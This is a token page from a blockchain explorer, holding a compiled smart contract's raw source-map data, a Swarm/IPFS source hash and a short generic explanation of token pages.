;9774:15;3274:1;9774:6;:15;:::i;:::-;:21;;;;:::i;:::-;9764:4;9747:23;;;;:8;:23;;;;;:48;;:23;;;:48;;;;;:::i;:::-;;;;-1:-1:-1;9842:4:0;;-1:-1:-1;9819:52:0;;;;9867:3;9849:15;3274:1;9849:6;:15;:::i;:::-;:21;;;;:::i;:::-;9819:52;;1787:25:1;;;1775:2;1760:18;9819:52:0;;;;;;;9934:3;9916:15;3274:1;9916:6;:15;:::i;:::-;:21;;;;:::i;:::-;9906:32;;:6;:32;:::i;:::-;9890:12;;;;;;;:8;:12;;;;;:48;;:12;;;:48;;;;;:::i;:::-;;;;-1:-1:-1;;9962:52:0;;;;;;;;10009:3;9991:15;3274:1;9991:6;:15;:::i;:::-;:21;;;;:::i;:::-;9981:32;;:6;:32;:::i;:::-;9962:52;;1787:25:1;;;1775:2;1760:18;9962:52:0;1641:177:1;9694:895:0;10109:3;10090:16;3314:1;10090:6;:16;:::i;:::-;:22;;;;:::i;:::-;10080:4;10063:23;;;;:8;:23;;;;;:49;;:23;;;:49;;;;;:::i;:::-;;;;-1:-1:-1;10159:4:0;;-1:-1:-1;10136:53:0;;;;10185:3;10166:16;3314:1;10166:6;:16;:::i;:::-;:22;;;;:::i;:::-;10136:53;;1787:25:1;;;1775:2;1760:18;10136:53:0;;;;;;;10239:23;;10230:4;8018:7;8036:17;;;:8;:17;;;;;;10212:50;10208:221;;;10323:4;8018:7;8036:17;;;:8;:17;;;;;;10287:43;;:17;:43::i;:::-;10353:56;;3451:42;;10387:21;10353:56;;;;;;;;;10387:21;3451:42;10353:56;;;;;;;;;;;;;;;;;;;;;10208:221;10492:3;10473:16;3314:1;10473:6;:16;:::i;:::-;:22;;;;:::i;:::-;10463:33;;:6;:33;:::i;:::-;10447:12;;;;;;;:8;:12;;;;;:49;;:12;;;:49;;;;;:::i;:::-;;;;-1:-1:-1;;10520:53:0;;;;;;;;10568:3;10549:16;3314:1;10549:6;:16;:::i;:::-;:22;;;;:::i;:::-;10539:33;;:6;:33;:::i;:::-;10520:53;;1787:25:1;;;1775:2;1760:18;10520:53:0;;;;;;;8201:2406;;;:::o;10613:396::-;10704:16;;;10718:1;10704:16;;;;;;;;10680:21;;10704:16;;;;;;;;;;-1:-1:-1;10704:16:0;10680:40;;10749:4;10731;10736:1;10731:7;;;;;;;;:::i;:::-;:23;;;;:7;;;;;;;;;;:23;;;;10775:15;;:22;;;;;;;;:15;;;;;:20;;:22;;;;;10731:7;;10775:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10765:4;10770:1;10765:7;;;;;;;;:::i;:::-;:32;;;;:7;;;;;;;;;:32;10840:15;;10808:62;;10825:4;;10840:15;10858:11;10808:8;:62::i;:::-;10881:15;;:120;;;;;:15;;;;;:66;;:120;;10948:11;;10881:15;;10964:4;;10978;;10985:15;;10881:120;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10669:340;10613:396;:::o;14:258:1:-;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;262:1;253:6;248:3;244:16;237:27;218:48;;14:258;;;:::o;277:442::-;426:2;415:9;408:21;389:4;458:6;452:13;501:6;496:2;485:9;481:18;474:34;517:66;576:6;571:2;560:9;556:18;551:2;543:6;539:15;517:66;:::i;:::-;635:2;623:15;640:66;619:88;604:104;;;;710:2;600:113;;277:442;-1:-1:-1;;277:442:1:o;724:154::-;810:42;803:5;799:54;792:5;789:65;779:93;;868:1;865;858:12;779:93;724:154;:::o;883:315::-;951:6;959;1012:2;1000:9;991:7;987:23;983:32;980:52;;;1028:1;1025;1018:12;980:52;1067:9;1054:23;1086:31;1111:5;1086:31;:::i;:::-;1136:5;1188:2;1173:18;;;;1160:32;;-1:-1:-1;;;883:315:1:o;1823:456::-;1900:6;1908;1916;1969:2;1957:9;1948:7;1944:23;1940:32;1937:52;;;1985:1;1982;1975:12;1937:52;2024:9;2011:23;2043:31;2068:5;2043:31;:::i;:::-;2093:5;-1:-1:-1;2150:2:1;2135:18;;2122:32;2163:33;2122:32;2163:33;:::i;:::-;1823:456;;2215:7;;-1:-1:-1;;;2269:2:1;2254:18;;;;2241:32;;1823:456::o;2704:247::-;2763:6;2816:2;2804:9;2795:7;2791:23;2787:32;2784:52;;;2832:1;2829;2822:12;2784:52;2871:9;2858:23;2890:31;2915:5;2890:31;:::i;:::-;2940:5;2704:247;-1:-1:-1;;;2704:247:1:o;2956:388::-;3024:6;3032;3085:2;3073:9;3064:7;3060:23;3056:32;3053:52;;;3101:1;3098;3091:12;3053:52;3140:9;3127:23;3159:31;3184:5;3159:31;:::i;:::-;3209:5;-1:-1:-1;3266:2:1;3251:18;;3238:32;3279:33;3238:32;3279:33;:::i;:::-;3331:7;3321:17;;;2956:388;;;;;:::o;3751:509::-;3983:3;4021:6;4015:13;4037:53;4083:6;4078:3;4071:4;4063:6;4059:17;4037:53;:::i;:::-;4151:34;4112:16;;4137:49;;;-1:-1:-1;4220:3:1;4213:4;4202:16;;4195:29;4251:2;4240:14;;3751:509;-1:-1:-1;3751:509:1:o;4900:306::-;4988:6;4996;5004;5057:2;5045:9;5036:7;5032:23;5028:32;5025:52;;;5073:1;5070;5063:12;5025:52;5102:9;5096:16;5086:26;;5152:2;5141:9;5137:18;5131:25;5121:35;;5196:2;5185:9;5181:18;5175:25;5165:35;;4900:306;;;;;:::o;5211:251::-;5281:6;5334:2;5322:9;5313:7;5309:23;5305:32;5302:52;;;5350:1;5347;5340:12;5302:52;5382:9;5376:16;5401:31;5426:5;5401:31;:::i;5799:184::-;5851:77;5848:1;5841:88;5948:4;5945:1;5938:15;5972:4;5969:1;5962:15;5988:228;6028:7;6154:1;6086:66;6082:74;6079:1;6076:81;6071:1;6064:9;6057:17;6053:105;6050:131;;;6161:18;;:::i;:::-;-1:-1:-1;6201:9:1;;5988:228::o;6221:274::-;6261:1;6287;6277:189;;6322:77;6319:1;6312:88;6423:4;6420:1;6413:15;6451:4;6448:1;6441:15;6277:189;-1:-1:-1;6480:9:1;;6221:274::o;6910:125::-;6950:4;6978:1;6975;6972:8;6969:34;;;6983:18;;:::i;:::-;-1:-1:-1;7020:9:1;;6910:125::o;7040:128::-;7080:3;7111:1;7107:6;7104:1;7101:13;7098:39;;;7117:18;;:::i;:::-;-1:-1:-1;7153:9:1;;7040:128::o;8796:535::-;9028:3;9066:6;9060:13;9082:53;9128:6;9123:3;9116:4;9108:6;9104:17;9082:53;:::i;:::-;9196:34;9157:16;;9182:49;;;-1:-1:-1;9265:29:1;9258:4;9247:16;;9240:55;9322:2;9311:14;;8796:535;-1:-1:-1;8796:535:1:o;9336:516::-;9568:3;9606:6;9600:13;9622:53;9668:6;9663:3;9656:4;9648:6;9644:17;9622:53;:::i;:::-;9736:34;9697:16;;9722:49;;;-1:-1:-1;9805:10:1;9798:4;9787:16;;9780:36;9843:2;9832:14;;9336:516;-1:-1:-1;9336:516:1:o;9857:514::-;10089:3;10127:6;10121:13;10143:53;10189:6;10184:3;10177:4;10169:6;10165:17;10143:53;:::i;:::-;10257:34;10218:16;;10243:49;;;-1:-1:-1;10326:8:1;10319:4;10308:16;;10301:34;10362:2;10351:14;;9857:514;-1:-1:-1;9857:514:1:o;10376:520::-;10608:3;10646:6;10640:13;10662:53;10708:6;10703:3;10696:4;10688:6;10684:17;10662:53;:::i;:::-;10776:34;10737:16;;10762:49;;;-1:-1:-1;10845:14:1;10838:4;10827:16;;10820:40;10887:2;10876:14;;10376:520;-1:-1:-1;10376:520:1:o;10901:512::-;11133:3;11171:6;11165:13;11187:53;11233:6;11228:3;11221:4;11213:6;11209:17;11187:53;:::i;:::-;11301:34;11262:16;;11287:49;;;-1:-1:-1;11370:6:1;11363:4;11352:16;;11345:32;11404:2;11393:14;;10901:512;-1:-1:-1;10901:512:1:o;11418:518::-;11650:3;11688:6;11682:13;11704:53;11750:6;11745:3;11738:4;11730:6;11726:17;11704:53;:::i;:::-;11818:34;11779:16;;11804:49;;;-1:-1:-1;11887:12:1;11880:4;11869:16;;11862:38;11927:2;11916:14;;11418:518;-1:-1:-1;11418:518:1:o;11941:529::-;12173:3;12211:6;12205:13;12227:53;12273:6;12268:3;12261:4;12253:6;12249:17;12227:53;:::i;:::-;12341:34;12302:16;;12327:49;;;-1:-1:-1;12410:23:1;12403:4;12392:16;;12385:49;12461:2;12450:14;;11941:529;-1:-1:-1;11941:529:1:o;12664:184::-;12716:77;12713:1;12706:88;12813:4;12810:1;12803:15;12837:4;12834:1;12827:15;12853:1026;13115:4;13163:3;13152:9;13148:19;13194:6;13183:9;13176:25;13220:2;13258:6;13253:2;13242:9;13238:18;13231:34;13301:3;13296:2;13285:9;13281:18;13274:31;13325:6;13360;13354:13;13391:6;13383;13376:22;13429:3;13418:9;13414:19;13407:26;;13468:2;13460:6;13456:15;13442:29;;13489:1;13499:218;13513:6;13510:1;13507:13;13499:218;;;13578:13;;13593:42;13574:62;13562:75;;13692:15;;;;13657:12;;;;13535:1;13528:9;13499:218;;;-1:-1:-1;;13785:42:1;13773:55;;;;13768:2;13753:18;;13746:83;-1:-1:-1;;;13860:3:1;13845:19;13838:35;13734:3;12853:1026;-1:-1:-1;;;12853:1026:1:o

Swarm Source

ipfs://72a9a1c2f5041056885d6c7ed4b78adf4585e3c793440de531cd6549c4f939ae
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.